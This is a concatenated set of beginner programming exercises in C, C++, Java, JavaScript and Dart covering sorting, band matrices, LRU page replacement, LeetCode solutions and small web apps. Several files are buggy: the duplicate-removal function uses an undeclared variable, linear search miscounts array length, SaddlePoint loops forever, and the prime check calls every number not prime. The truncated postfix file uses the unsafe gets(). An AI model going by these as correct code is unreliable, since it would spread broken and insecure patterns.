}

.keys span.eval:active {
	box-shadow: 0px 0px #717a33;
	top: 4px;
}

.top span.clear:active {
	top: 4px;
	box-shadow: 0px 0px #d3545d;
}


<|start_filename|>CPP/cprogramming_template.cpp<|end_filename|>
#include <bits/stdc++.h>
using namespace std;
#define MP make_pair
#define umap unordered_map
#define uset unordered_set
typedef long long ll;
typedef vector<int> vi;
typedef vector<ll> vl;
typedef pair<int, int> pii;
typedef pair<ll, ll> pll;
const int MOD = 1000000007;
#ifndef ONLINE_JUDGE
#define deb(x) cout << #x << '=' << x << '\n'
#else
#define deb(x)
#endif

void solve() {
	// CODE
}

int main(int argc, const char** argv) {
    ios_base::sync_with_stdio(false);
    cin.tie(NULL);
	solve();
    return 0;
}


<|start_filename|>CPP/Leet Code Solutions/two-sum-ii-input-array-is-sorted/two-sum-ii-input-array-is-sorted.cpp<|end_filename|>
class Solution {
public:
    vector<int> twoSum(vector<int>& numbers, int target) {
        int start = 0;
        int end = numbers.size()-1;
        while(start<end){
            int sum = numbers[start] + numbers[end];
            if(sum > target){
                end--;
            } else if(sum < target){
                start++;
            } else {
                return vector<int>{start+1, end+1};
            }
        }
        return vector<int>{start+1, end+1};
    }
};

<|start_filename|>DSA/Special Matrices/SquareBandMatrix.cpp<|end_filename|>
//SquareBand Matrix resembles TriDiagonal  Matrix. Only in this case, instead of three diagonals there are much more.
//Thus they show resemeblance to bands of diaagonals and occur in Square Matrix and hence are called as SquareBand Matrices.
//Now why to use Square band Matrix??
//If you have got a matrix of order say 100 X 100 or even arger with only 6-7 bands with non-zero elements, then implementation using
//Square aband matrices save a lot space.
//Let's code SquareBand Matrix

#include <iostream>
#include <cmath>

using namespace std;

//Defining the Class
class SquareBand{
    private:
    int size;
    int l_band;
    int u_band;
    int *ele;

    public:
    SquareBand(int size, int l_bands, int u_bands){
        this->size = size;
        this->l_band = l_bands;
        this->u_band = u_bands;
        ele = new int[(l_bands + u_bands + 1)*size - (l_bands*(l_bands+1))/2 - (u_bands*(u_bands+1))/2];
    }

    void set(int i, int j, int x);
    int get(int i, int j);
    void Display();
    ~SquareBand(){delete [] ele;}
};

//Defining the Functions
void SquareBand :: set(int i, int j, int x){
    int diff = size - (i - j);
    int d = j - i;
    if(j-i >= -l_band && j - i <= u_band){
        if(i > j) ele[((diff*(diff-1))/2 - l_band - 1)+ j - 1] = x;
        else if(i == j) ele[(size*(size-1))/2 - (l_band*(l_band + 1))/2 + j -1] = x;
        else if(i < j)
            ele[(size * (size + 1)) / 2 - (l_band * (l_band + 1)) / 2 + (size * d - (d * (d + 1)) / 2 - size + 1) + j - 1] = x;
    }
}

int SquareBand :: get(int i, int j){
    int diff = size - (i - j);
    int d = j -  i;
    if(j-i >= -l_band && j - i <= u_band){
        if(i > j) return ele[((diff*(diff-1))/2 - l_band - 1)+ j - 1];
        else if(i == j) return ele[(size*(size-1))/2 - (l_band*(l_band + 1))/2 + j -1];
        else if(i < j) return ele[(size*(size+1))/2 - (l_band*(l_band + 1))/2 + (size*d - (d*(d+1))/2 - size  + 1) +j-1];
    }
    return 0;
}

void SquareBand :: Display(){
    for(int i=1; i <= size; i++){
        for(int j=1; j <= size; j++){
            int data = 0;
            int diff = size - (i - j);
            int d = j - i;
            if(j-i >= -l_band && j - i <= u_band){
                if(i > j) data = ele[((diff*(diff-1))/2 - l_band - 1)+ j - 1];
                else if(i == j) data = ele[(size*(size-1))/2 - (l_band*(l_band + 1))/2 + j -1];
                else if(i < j) data = ele[(size*(size+1))/2 - (l_band*(l_band + 1))/2 + (size*d - (d*(d+1))/2 - size  + 1) +j-1];
            }
            printf("%-3d", data);
        }
        cout << endl;
    }
}

int main(){
    //Setting the MAtrix
    cout << "Enter the size of SquareBand Matric along with lower and upper bounds : ";
    int s, m, n, x;
    cin >> s >> m >> n;
    SquareBand sq(s, m, n);

    //Entering the Elements
    int size2 = (m + n + 1)*s - (m*(m+1))/2 - (n*(n+1))/2;
    cout << "Now Enter the Elements of your SquareBand Matrix along with indices : \n";
    for(int i=0; i < size2; i++){
        cin >> m >> n >> x;
        sq.set(m, n, x);
    }
    cout << endl;

    //Displaying the Matrix
    cout << "Matrix : \n";
    sq.Display();

    cout << endl << endl;
    //Getting the individual Values
    int choice = 1;
    while(choice){
        cout << "Enter the indices of Elements to search for: " << endl;
        cin >> m >> n;
        printf("The Element at index %d,%d = %d\n\n", m, n, sq.get(m, n));
        printf("Do you want to continue search?? Press 1 for Y, 0 for N : ");
        cin >> choice;
    }
    return 0;
}

<|start_filename|>JS/rock_paper_scissor/script.js<|end_filename|>
const play = document.getElementById('play');
const iconContainer = document.getElementById('iconContainer');
const spinner = document.getElementById('spinner');
const playDiv = document.getElementById('playDiv');
const loadingSpan = document.getElementById('loading');

const audio = new Audio('game.m4a');

play.addEventListener('click', () => {
    playDiv.style.display = 'none';
    spinner.style.display = 'block';
    audio.play();

    let proceesing = setInterval(() => {
                        output();
                    }, 120);

    let index = 3;
    loadingSpan.innerHTML = index;
    index--;
    let loading = setInterval(() => {
        loadingSpan.innerHTML = index;
                        index--;
                    }, 1000);

    setTimeout(() => {
        clearInterval(proceesing);
        clearInterval(loading);
        output();
        
        spinner.style.display = 'none';
        playDiv.style.display = 'block';
    }, 3000);
});

const output = () => {
    let randomNo = Math.ceil(Math.random()*3);

    switch(randomNo) {
        case 1:
            iconContainer.innerHTML = `<i class="fas fa-hand-rock"></i>`;
            break;
            
        case 2:
            iconContainer.innerHTML = `<i class="fas fa-hand-paper"></i>`;
            break;

        case 3:
            iconContainer.innerHTML = `<i class="fas fa-hand-scissors"></i>`;
            break;
    }
}


<|start_filename|>CPP/Data Structures/math/gcd_using_recursive_euclidian_algo.cpp<|end_filename|>
#include<bits/stdc++.h>
using namespace std;
int gcdfn(int a, int b)
{
    if(b==0)
    return a;
    else
    return gcdfn(b,a%b);

}
int main()
{
    int a =15, b=12;
    cout<<gcdfn(a,b);
}

<|start_filename|>C/LruPageReplacement.c<|end_filename|>
#include<stdio.h>
int n,nf,in[100],p[50];
int hit=0,i,j,k;
int pgfaultcnt=0;

void getData(){
    printf("\nEnter length of page reference sequence:");
    scanf("%d",&n);
    printf("\nEnter the page reference sequence:");
    for(i=0; i<n; i++)
        scanf("%d",&in[i]);
    printf("\nEnter no of frames:");
    scanf("%d",&nf);
}
void initialize(){
    pgfaultcnt=0;
    for(i=0; i<nf; i++)
        p[i]=9999;}

int isHit(int data){
    hit=0;
    for(j=0; j<nf; j++){
        if(p[j]==data){
            hit=1;
            break;
        }
    }
    return hit;
}

void dispPages(){
    for (k=0; k<nf; k++){
        if(p[k]!=9999)
            printf(" %d ",p[k]);
    }
}
void dispPgFaultCnt(){
    printf("\nTotal no of page faults:%d",pgfaultcnt);}

void lru(){
    initialize();
    printf("LRU PAGE REPLACEMENT ALGORITHM - SH");
    int least[50];
    for(i=0; i<n; i++){
        printf("\n %d :",in[i]);
        if(isHit(in[i])==0){
            for(j=0; j<nf; j++){
                int pg=p[j];
                int found=0;
                for(k=i-1; k>=0; k--){
                    if(pg==in[k]){
                        least[j]=k;
                        found=1;
                        break;
                    }
                    else
                        found=0;
                }
                if(!found)
                    least[j]=-9999;
            }
            int min=9999;
            int repindex;
            for(j=0; j<nf; j++){
                if(least[j]<min){
                    min=least[j];
                    repindex=j;
                }
            }
            p[repindex]=in[i];
            pgfaultcnt++;

            printf("Oops!! It's a MISS ");
            dispPages();
        }
        else
            printf("Yay! It's a HIT ");
    }
    dispPgFaultCnt();
}
int main(){
    getData();
    lru();
    getData();
    lru();
}


<|start_filename|>CPP/RemoveDuplicatesFromString.cpp<|end_filename|>
#include <bits/stdc++.h>
using namespace std;

char *removeDuplicate(char str1[], int n)
{
int index = 0;
	

for (int i=0; i<n; i++) {
		

	int j;
	for (j=0; j<i; j++)
		if (str[i] == str[j])
		break;

	if (j == i)
		str[index++] = str[i];
}
	
return str;
}


int main()
{
string str1;
cin>>str1;
int n = str1.size();
cout << removeDuplicate(str1, n);
return 0;
}


<|start_filename|>DSA/Searching/linear_search.cpp<|end_filename|>
#include <iostream>
using namespace std;

int search(int n,int arr[],int key)
{
    for(int i=0;i<n;i++)
    {
        if(key==arr[i])
        return i;
    }
    return -1;
}

int main() {
    int arr[]={1,2,3,4,5};
    int n=sizeof(arr);
    int key=3;

    cout<<search(n,arr,key);
}


<|start_filename|>CPP/SortingTechniques/QuickSort.c<|end_filename|>
//Implementation of QuickSort
//QuickSort
//QuickSort is not the fastest sorting algorithm out there...
//QuickSort works on thte idea that ana element is in a sorted position, if all elements before that element are
//smaller and all elements after it are greater than that element.
//QuickSort takes O(nlogn) time in general case, and O(n^2) time in case of sorted or reverse sorted array.
//In normal case, the answer is only dependent on patitioning while in sorted case it depends both on sorted and partioning
//The average time complexity of QuickSort is O(nlogn)

//QuickSort employs partioning procedure for sorting the element, and is recursive in nature.
//Since it employs Partioning Procedure. it is also called Partioning exchange Sort.
//It shares a similarity to Selection Sort in way it also selects an element and finds its position, contrary to
//Selection sort which selects a position and finds out the element for that position.
//Hence, its also called Selection Exchange Sort.

//QuickSort in neither adoptive nor stable.

#include <stdio.h>
#include <stdlib.h>
#include <time.h>

void swap(int *a, int *b)
{
    int temp =*a;
    *a = *b;
    *b = temp;
}

int Partition(int A[], int  l, int h)
{
    //Slight Modification by swapping with Middle element
    //ensures O(nlogn) time in case of Sorted Array
    int mid = (l+h)/2;
    swap(&A[l], &A[mid]);

    int pivot = A[l];
    int i=l;
    int j=h;
    do
    {
        do{i++;}while(A[i] <= pivot);
        do{j--;}while(A[j] > pivot);
        if(i < j)
            swap(&A[i], &A[j]);
    }while(i < j);
    swap(&A[l], &A[j]);
    return j;
}

//A modified version of QuickSort, in whcich we take a random element as pivot by swappping it with first element
int Randomized_Partition(int A[], int l, int h)
{  
    //Choosing a random number as pivot
    srand(time(0));
    int pivot_index = l + rand()%(h-l);
    swap(&A[l], &A[pivot_index]);
    
    int i = l, j = h;
    int pivot = A[l];
    do
    {
        do{i++;}while(A[i] <= pivot);
        do{j--;}while(A[j] > pivot);
        if(i < j)
            swap(&A[i], &A[j]);
    }while(i < j);
    swap(&A[l], &A[j]);
    return j;
}

void QuickSort(int A[], int l, int h)
{
    if(l < h)
    {
        int pivot = Randomized_Partition(A, l, h);
        QuickSort(A, l, pivot);
        QuickSort(A, pivot+1, h);
    }
}

int main()
{
    int A[] = {2, 43, 12, 34, 87, 6, 14, 39, 55, 0, -36, __INT32_MAX__};
    int n = sizeof(A)/sizeof(A[0]);

    QuickSort(A, 0, n-1);
    printf("Sorted : ");
    for(int i=0; i < n-1; i++)
        printf("%d ", A[i]);
    printf("\n");
    return 0;
}

<|start_filename|>CPP/Counting-sort.cpp<|end_filename|>
#include <bits/stdc++.h>
using namespace std;
#define ll long long

//only for numbers in the range -1e3 to 1e3 : 
void counting_sort(vector<ll> &v){
    vector<ll> hash(int(1e6), 0) ;
    for(auto x : v){
        hash[int(1e3) + x]++;
    }
    v.clear();
    for(int j = 0 ; j < hash.size() ; j++){
        if(hash[j] > 0){
            for(int i = 0 ; i < hash[j] ; i++){
                v.push_back(j-int(1e3));
            }
        }
    }
}
void solve(){
    ll n ; cin >> n ;
    vector<ll> v(n);
    for(auto &x : v){
        cin >> x;
    }
    counting_sort(v);
    for(auto x : v){
        cout << x << " ";
    }
}

int main()
{
    ios_base::sync_with_stdio(false);
    cin.tie(NULL);
    
    solve();
}


<|start_filename|>CPP/selectionSort.cpp<|end_filename|>
//Submission for Hacktober Fest 2021

/*
Question: Selection Sort
Submitted by:- nehamotwani80
Language Used:- C++
*/

#include<bits/stdc++.h>
using namespace std;
void swap(int *p,int *q)
{
	int temp;
	temp=*p;
	*p=*q;
	*q=temp;
}
int main()
{
	int n,i,j,min_index;
	cin>>n;
	int arr[n];
	cout<<"enter the array:-"<<endl;
	for(i=0;i<n;i++)
	cin>>arr[i];
	
	min_index=0;
	for(i=0;i<n;i++)
	{
		for(j=i+1;j<n;j++)
		{
			if(arr[j]<arr[min_index])
			{
				min_index=j;
			}
		}
		swap(&arr[i],&arr[min_index]);
	}
	cout<<"sorted array is:-"<<endl;
	for(i=0;i<n;i++)
	{
		cout<<arr[i]<<endl;
	}
	return 0;
}


<|start_filename|>Java/SaddlePoint.java<|end_filename|>
import java.util.Scanner;
class SaddlePoint
{
    public static void main(String[]args)
    {
        Scanner sc = new Scanner(System.in);
        System.out.println("Enter n");
        int n = sc.nextInt();
        
        int ar[][] = new int[n][n];
        int i = 1,a=0,b=n-1;
        while(a<=b)
        {
            for(int x =a ; x<=b ; x++)
            {
                for(int y =a ; y<=b ; y++)
                {
                    ar[x][y]=i++;
                }
            }
        }
        for(int x = 0 ; x<n ; x++)
        {
            for(int y = 0 ; y<n ; y++)
            {
                System.out.println(ar[x][y]+"\t");
            }
        }
    }
}


<|start_filename|>DSA/STL/find.cpp<|end_filename|>
#include <bits/stdc++.h>
using namespace std;
int main() {
    int n,key;
    cin>>n;
    int arr[n];
    for(int i=0;i<n;i++)
    cin>>arr[i];
    cin>>key;

    auto it=find(arr,arr+n,key);
    int index=it-arr;
    cout<<index;
}



<|start_filename|>DSA/Notes and examples/strings.cpp<|end_filename|>
#include<bits/stdc++.h>
using namespace std;

int main()
{
	string s1="hello";
	string s2="world";
//	getline(cin,s);
	cout<<"string is:"<<s1.length();
	
	//iterating over characters
	for(int i=0;i<s1.length();i++)
	cout<<s1[i]<<endl;
	
	//using iterators
	for(auto itr=s1.begin();itr!=s1.end();itr++)
	cout<<(*itr)<<endl;
	
	//using for each loop
	for(auto x:s1)
	cout<<x<<endl;
	return 0;
}


<|start_filename|>DSA/Stacks & Queues/redundant_parenthesis.cpp<|end_filename|>
#include<iostream>
#include<string>
#include<stack>
using namespace std;

bool checkRedundant(string str){
	
	stack<char> s;

	for(char ch : str){
		if(ch!=')'){
			s.push(ch); // a,b, + , - , ( ....
		}
		else{
			// ')'
			bool operator_found = false;

			while(!s.empty() and s.top()!='('){
				char top = s.top();
				if(top=='+' or top=='-' or top=='*' or top=='/'){
					operator_found = true;
				}
				s.pop();
			}
			s.pop(); //pop the opening bracked after the loop if over

			if(operator_found == false){
				return true;
			}
		}
	}
	return false;
}


int main() {
    string str = "((a+b)+c) + ((d*e))";
    if(checkRedundant(str)){
        cout<<"Contains Redundant Parenthesis";
    }
    else{
        cout<<"r";
    }
    return 0;
}

<|start_filename|>CPP/Data Structures/math/digitcount.cpp<|end_filename|>
#include<bits/stdc++.h>
using namespace std;
int count(int n) //O(n)
{
    int digicount=0;
    while(n!=0)
    {  
        digicount+=1;
        n=n/10;
    }
    return digicount;

}
//alternative number of digits in N = log10(N) + 1. --->>> O(1)
int main()
{
    cout<<"enter a number";
    int num;
    cin>> num;
    cout<< count(num);
}

<|start_filename|>DSA/Notes and examples/array.cpp<|end_filename|>
#include<iostream>
using namespace std;
int main()
{
	int arr[5]={1,2,3,4,5};
	for(int i=0;i<5;i++)
	cout<<"elements of array are:"<<arr[i]<<endl;
	return 0;
}


<|start_filename|>DSA/Special Matrices/ColumnMajorLowerTriangular.cpp<|end_filename|>
#include <iostream>

using namespace std;

class Matrix{
    private:
    int size;
    int *A;

    public:
    Matrix(int size){
        this->size = size;
        A = new int[size*(size+1)/2];
    }
    void set(int i, int j, int x);
    int get(int i, int j);
    void Display();
    ~Matrix(){delete [] A;}
};

void Matrix :: set(int i, int j, int x){
    if(i >= j) A[size*(j-1) - ((j-1)*(j-2))/2 + i-j] = x;
}

int Matrix :: get(int i, int j){
    if(i < j) return 0;
    else return A[size*(j-1) - ((j-1)*(j-2))/2 + i-j];
}

void Matrix :: Display(){
    for(int i = 1; i <= size; i++){
        for(int j = 1; j <= size; j++){
            if(i < j)
                printf("%3d ", 0);
            else
                printf("%3d ", A[size*(j -1) - ((j-1)*(j-2))/2 +i-j]);
        }
        printf("\n");
    }
}


int main(){
    int size;
    cin >> size;
    Matrix mat(size);
    for(int i=1; i<= size; i++){
        for(int j=1; j <= size; j++){
            int num;
            cin >> num;
            mat.set(i, j, num);
        }
    }

    cout << mat.get(5, 2) << endl;
    cout << mat.get(1, 0) << endl;
    cout << mat.get(1, 4) << endl;
    cout << mat.get(4, 4) << endl;
    cout << mat.get(4, 1) << endl;
    

    mat.Display();
}

<|start_filename|>CPP/Data Structures/math/quadratic_equation.cpp<|end_filename|>
// { Driver Code Starts
// Initial template for C++

#include <bits/stdc++.h>
using namespace std;

 // } Driver Code Ends
// User function Template for C++
 
class Solution {
  public:
    vector<int> quadraticRoots(int a, int b, int c) {
    float d=(b*b)-(4*a*c);
    vector<int>roots;
    if(d<0)
    {
    roots.push_back(-1);}
    else
    {
        float r1=floor(((-b)-sqrt(d))/(2*a));
        float r2=floor(((-b)+sqrt(d))/(2*a));
        roots.push_back(r1);
        roots.push_back(r2);
        sort(roots.begin(),roots.end(),greater<int>());//greater is passed to sort in descending order
               // code here
    }
     return roots; 
    }
};


// { Driver Code Starts.

int main() {
    int T;
    cin >> T;
    while (T--) {
        int a, b, c;
        cin >> a >> b >> c;
        Solution ob;
        vector<int> roots = ob.quadraticRoots(a, b, c);
        if (roots.size() == 1 && roots[0] == -1)
            cout << "Imaginary";
        else
            for (int i = 0; i < roots.size(); i++) cout << roots[i] << " ";
        cout << endl;
    }
    return 0;
}  // } Driver Code 

<|start_filename|>CPP/pointers.cpp<|end_filename|>
#include<iostream>
using namespace std;
int main()
{

	int a,b,*p1,*p2;
	a= 10;
	b= 20;
	p1=&a;
	p2=&b;
	cout<<"the addresses of variables a and b are "<<" "<<p1<<" "<<p2<<endl;
	cout<<"the values stored in a nd b are"<<" "<<a<<" "<<b<<endl;
	*p1=*p2;
	*p2=8;
        cout<<"new values of a and b are"<<" "<<a<<" "<<b<<endl;
return 0;
}


<|start_filename|>CPP/pigeonHole.cpp<|end_filename|>
#include <iostream>

using namespace std;

const int Nmax = 100005;
int fr[Nmax];

void findNumber(int n) {
    int cur_rem = 0;
    for(int i = 1; i <= n; i++) {
        cur_rem = (cur_rem * 10 + 1) % n;
        if(cur_rem == 0) {
            for(int j = 1; j <= i; j++)
                cout << 1;
            return;
        }
        if(fr[cur_rem] != 0) {
            for(int j = 1; j <= i - fr[cur_rem]; j++)
                cout << 1;
            for(int j = 1; j <= fr[cur_rem]; j++)
                cout << 0;
            return;
        }
        fr[cur_rem] = i;
    }
}

int main()
{
    int n;
    cin >> n;
    findNumber(n);
    return 0;
}

<|start_filename|>DSA/CSES_ProblemSet/Sliding_Cost.cpp<|end_filename|>
#include <bits/stdc++.h>
using namespace std;

#define ll long long

int main()
{
    int n, k;
    cin >> n >> k;
    set<pair<int, int>> leftSet, rightSet;
    ll leftSum = 0, rightSum = 0;
    vector<int> val(n);
    for (int i = 0; i < n; i++)
        cin >> val[i];

    if (k == 1)
    {
        for (int i = 0; i < n; i++)
            cout << 0 << " ";
        return 0;
    }

    if (k == 2)
    {
        for (int i = 1; i < n; i++)
            cout << abs(val[i] - val[i - 1]) << " ";
        return 0;
    }

    vector<pair<int, int>> st;
    for (int i = 0; i < k; i++)
        st.push_back({val[i], i});

    sort(st.begin(), st.end());

    for (int i = 0; i < k / 2 + (k % 2); i++)
    {
        leftSet.insert(st[i]);
        leftSum += st[i].first;
    }

    for (int i = k / 2 + (k % 2); i < k; i++)
    {
        rightSet.insert(st[i]);
        rightSum += st[i].first;
    }

    ll median = leftSet.rbegin()->first;

    cout << median * leftSet.size() - leftSum +
                rightSum - median * rightSet.size()
         << " ";

    for (int i = 1; i < n - k + 1; i++)
    {
        if (leftSet.count({val[i - 1], i - 1}))
        {
            leftSum -= val[i - 1];
            leftSet.erase({val[i - 1], i - 1});
        }
        else
        {
            rightSum -= val[i - 1];
            rightSet.erase({val[i - 1], i - 1});
        }

        if ((*leftSet.rbegin()) < make_pair(val[k - 1 + i], k - 1 + i))
        {
            rightSet.insert({val[k - 1 + i], k - 1 + i});
            rightSum += val[k - 1 + i];
        }
        else
        {
            leftSet.insert({val[k - 1 + i], k - 1 + i});
            leftSum += val[k - 1 + i];
        }

        while (leftSet.size() < k / 2 + (k % 2))
        {
            auto rightExtra = *rightSet.begin();
            rightSet.erase(rightExtra);
            rightSum -= rightExtra.first;
            leftSum += rightExtra.first;
            leftSet.insert(rightExtra);
        }

        while (leftSet.size() > k / 2 + (k % 2))
        {
            auto leftExtra = *leftSet.rbegin();
            leftSet.erase(leftExtra);
            leftSum -= leftExtra.first;
            rightSum += leftExtra.first;
            rightSet.insert(leftExtra);
        }

        median = leftSet.rbegin()->first;
        cout << median * leftSet.size() - leftSum +
                    rightSum - median * rightSet.size()
             << " ";
    }
}

<|start_filename|>CPP/Data Structures/Stack Using Linked List/nodeClass.cpp<|end_filename|>
#include <iostream>
using namespace std;

template <typename v>
class node {
    public:
    
    v data;
    node * next;
    
    node(v data){
        this -> data = data;
        next = NULL;
    }
};


<|start_filename|>Java/Sorting Algo/CyclicSort.java<|end_filename|>

import java.util.*;

public class CyclicSort {

	public static void main(String[] args) {
		Scanner sc = new Scanner(System.in);
		
		int[] arr = {3, 5, 2, 1, 4};
//		always remember it should be continous
		
		sorting(arr);
		System.out.println(Arrays.toString(arr));

	}

//	Algo :-
//	1. Start looping from i
//	2. Put it at corrct index
//	3. Only move i when the element at i is sorted

	static void sorting(int[] arr) {
		int i = 0;
		while (i < arr.length) {
			int correctInd = arr[i] - 1;
//			this should be the correct index

			if (arr[i] != arr[correctInd]) {
				swap(arr, i, correctInd);
			} else {
				i++;
			}
		}
	}

	static void swap(int[] arr, int first, int second) {
		int temp = arr[first];
		arr[first] = arr[second];
		arr[second] = temp;

	}

}


<|start_filename|>CPP/Leet Code Solutions/array_of_doubled_pairs.cpp<|end_filename|>
//  Link to the problem:
//  https://leetcode.com/problems/array-of-doubled-pairs/

// Problem Name=> Array of Doubled Pairs
// Problem Type=> Medium

// Solution:

class Solution {
public:
    static bool compare(int a,int b){
        return abs(a)<abs(b);
    }
    bool canReorderDoubled(vector<int>& A) {
        sort(A.begin(),A.end(),compare);
        unordered_map<int,int> m;
        for(int i=0;i<A.size();i++)m[A[i]]++;
        for(int i=0;i<A.size();i++){
            if(m[A[i]]==0) //If element has been already used by smaller element
                continue;
            if(m[2*A[i]]==0) //If I am unable to get its pair, I will return false
                return false;
            m[2*A[i]]--,m[A[i]]--; //Subtracting frequency of this pair of elements from map
        }
        return true;
    }
};

<|start_filename|>JS/findMaximumProfit.js<|end_filename|>
// Provided an arr which contains the stock price per day, find the price to buy and price to sell such that max profit is achieved.
// Input arr = [2,10,1,3]
// Ouput = [2,10] -> max profit of 8.

const arr = [2, 10, 1, 3];

function findBuySellPrice(arr) {
  let buyPrice = arr[0] < arr[1] ? arr[0] : arr[1];
  let sellPrice = arr[0] > arr[1] ? arr[0] : arr[1];

  for (let i = 2; i < arr.length; i++) {
    if (buyPrice > arr[i]) {
      if (i < arr.indexOf(buyPrice)) {
        buyPrice = arr[i];
      }
    }
    if (sellPrice < arr[i]) {
      if (i > arr.indexOf(sellPrice)) {
        sellPrice = arr[i];
      }
    }
  }
  let maxProfit = sellPrice - buyPrice;
  return [buyPrice, sellPrice, maxProfit];
}

console.log(findBuySellPrice(arr));
// Output: [ 2, 10, 8 ]


<|start_filename|>JS/isHappyNumber.js<|end_filename|>
var isHappy = function(n) {
    var seen = {};
    while (n !== 1 && !seen[n]) {
        seen[n] = true;
        n = sumOfSquares(n);
    }
    return n === 1 ? true : false;
};

function sumOfSquares(numString) {
    return numString.toString().split('').reduce(function(sum, num) {
        return sum + Math.pow(num, 2);
    }, 0);
}
console.log(isHappy(1));
console.log(isHappy(2));
console.log(isHappy(10));
console.log(isHappy(100));

<|start_filename|>JS/BMI Calculator/src/Components/Bmicalc.js<|end_filename|>
import React, { useState } from 'react';

const Bmicalc = () => {
  
  const [weightInput, setWeightInput] = useState();
  const [heightInput, setHeightInput] = useState();
  const [bmi, setBmi] = useState(0);
  const [status, setStatus] = useState();

  const weightChangeHandler = (event) => {
    setWeightInput(event.target.value);
  };

  const heightChangeHandler = (event) => {
    setHeightInput(event.target.value);
  };

  const calculate = (e) => {
    e.preventDefault();
    const isValid =
      +heightInput > 0 &&
      +weightInput > 0 &&
      +heightInput < 500 &&
      +weightInput < 250;
      
    if (isValid) {
      let heightInMeter = +heightInput / 100;
      const bmi = +weightInput / (+heightInMeter) ** 2;
      setBmi(bmi.toFixed(2));
      if (bmi > 0 && bmi < 18.5) {
        setStatus('Under Weight');
      } else if (bmi >= 18.5 && bmi < 24.9) {
        setStatus('Normal' || 'Healthy Weight');
      } else if (bmi >= 24.9 && bmi < 29.9) {
        setStatus('Overweight');
      } else {
        setStatus('Obese');
      }
    } else {
      setStatus('NaN');
      setBmi('NaN');
    }
  };

  return (
    <>
      <form onSubmit={calculate}>
        <p className='my-4'>Weight</p>
        <input
          type='number'
          placeholder='Enter weight'
          value={weightInput}
          onChange={weightChangeHandler}
          className='border-2 rounded p-2'
        />
        <p className='my-4'>Height</p>
        <input
          type='number'
          placeholder='Enter height'
          value={heightInput}
          onChange={heightChangeHandler}
          className='border-2 rounded p-2 mb-5'
        />
        <button
          className='flex justify-center items-center text-center py-2 px-3 bg-blue-800 hover:bg-blue-600 focus:outline-none text-white rounded-lg'
          type='submit'
        >
          Submit
        </button>
      </form>
      <div>
        <p className=''>Your BMI is {bmi}</p>
        <p className=''>This is considered {status}</p>
      </div>
    </>
  );
};

export default Bmicalc;


<|start_filename|>DSA/Notes and examples/min&max.cpp<|end_filename|>
// Online C++ compiler to run C++ program online
#include <iostream>
using namespace std;

int main() {
    // Write C++ code here
    int arr[]={10,2,3,4,5};
    int i;
    int min_value=arr[0];
    int max_value=arr[0];
    cout<<"given array is:\n";
    for(i=0;i<5;i++)
    cout<<arr[i]<<" \n";
    for(i=0;i<5;i++)
    {
        if(min_value>arr[i])
        min_value=arr[i];
        if(max_value<arr[i])
        max_value=arr[i];
    }
    
    cout<<"maximum number is="<<max_value;
    cout<<"\nminimum number is="<<min_value;
    return 0;
}


<|start_filename|>CPP/findCyclicInGraph.cpp<|end_filename|>
#include <bits/stdc++.h>
using namespace std;
void make_set(vector<int> &parent)
{
    for (int i = 0; i < parent.size(); i++)
    {
        parent[i] = i;
    }
}
int find(vector<int> &parent, int y)
{
    if (parent[y] != y)
    {
        parent[y] = find(parent, parent[parent[y]]);
    }
    return parent[y];
}
void union_set(vector<int> &parent, vector<int> &rank, int x, int y)
{
    int root1 = find(parent, x);
    int root2 = find(parent, y);
    if (root1 == root2)
        return;
    if (rank[root1] > rank[root2])
    {
        parent[root2] = root1;
    }
    else
    {
        parent[root1] = root2;
        if (rank[root1] == rank[root2])
        {
            rank[root2]++;
        }
    }
}
bool iscyclic(vector<pair<int, int>> &v, int size)
{
    vector<int> parent(size);
    vector<int> rank(size, 0);
    make_set(parent);
    for (auto x = v.begin(); x != v.end(); x++)
    {
        int root1 = find(parent, x->first);
        int root2 = find(parent, x->second);
        if (root1 == root2)
        {
            return true;
        }
        else
            union_set(parent, rank, root1, root2);
    }
    return false;
}
int main()
{
    int size = 6;
    vector<pair<int, int>> v;
    v.push_back(make_pair(0, 1));
    v.push_back(make_pair(0, 2));
    v.push_back(make_pair(1, 3));
    v.push_back(make_pair(2, 3));
    v.push_back(make_pair(3, 4));
    v.push_back(make_pair(4, 5));
    cout<<  iscyclic(v, size);

    return 0;
}

<|start_filename|>DART/factorial.dart<|end_filename|>
// Program to find the factorial of a number.

// Factorial (denoted by !) of a number is the product of all the positive integers less than or equal to the number itself. 

// Eg - 5! = 120 (1 x 2 x 3 x 4 x 5 = 120)

// Program
// Define a Function to find the Factorial.
int factorial(int num) {
  
  // Initialise fac with 1.
  int fac = 1;
  
  // For loop to traverse numbers from 1 to the number itself.
  for (var i = 1; i <= num; i++){
    
    // Multiply the number.
    fac = fac * i;
  }
  
  // Return the Factorial.
  return fac;
}

void main() {
  
  // Test the Function
  print(factorial(5));  //120
}




<|start_filename|>DSA/Notes and examples/ifelse.cpp<|end_filename|>
#include<iostream>
using namespace std;
int main()
{
   int age=15;
   if(age<18)
   cout<<"not eligible for voting";
   else
   {
       cout<<"eligible for voting";
   }
   
    return 0;
}

<|start_filename|>DSA/Notes and examples/prime.cpp<|end_filename|>
#include <iostream>  
using namespace std;  
int main()  
{  
  int n, i, flag=0;  
  cout << "Enter the Number to check Prime: ";  
  cin >> n;    
  for(i = 2; i <= n; i++)  
  {  
    if(n % i == 0)  
    {  
      cout<<"Number is not Prime."<<endl;  
      flag=1;  
      break;  
    }  
  }  
  if (flag==0)  
  cout << "Number is Prime."<<endl;  
  return 0;  
}  


<|start_filename|>JS/Weight Converter/style.css<|end_filename|>
*,
*::before,
*::after {
  padding: 0;
  margin: 0;
  box-sizing: border-box;
}

section {
  display: flex;
  height: 100vh;
  align-items: center;
  justify-content: center;
}

.container {
  display: flex;
  align-items: center;
  justify-content: center;
  background-color: black;
  color: white;
}

.wrapper {
  padding: 1em 2em 4em;
}
h1 {
  font-size: 3rem;
  margin-bottom: 0.3em;
  text-align: center;
}

form {
  display: flex;
  width: 100%;
  background: white;
  justify-content: space-between;
}

input {
  outline: none;
  border: none;
  width: 80%;
  height: 2em;
}

select {
  height: 2em;
  outline: none;
  border: none;
}
.selects:nth-child(1),
.selects:nth-child(2) {
  margin-top: 0.5em;
}
.selects {
  background: white;
  color: black;
  font-weight: 900;
  margin-bottom: 0.5em;
  min-height: 50px;
  font-size: 1.3rem;
  padding-left: 0.3em;
}


<|start_filename|>CPP/Stack2postfix.cpp<|end_filename|>
//@sidhartha8011
//Cpp code to convert a postfix expression

#include<iostream>
#include<stack>
#include<cctype>
using namespace std;
int main()
{
	char ch[100];
	int i,op1,op2;
	stack<int> s;
	cout << "enter the postfix expression : ";
	gets(ch);
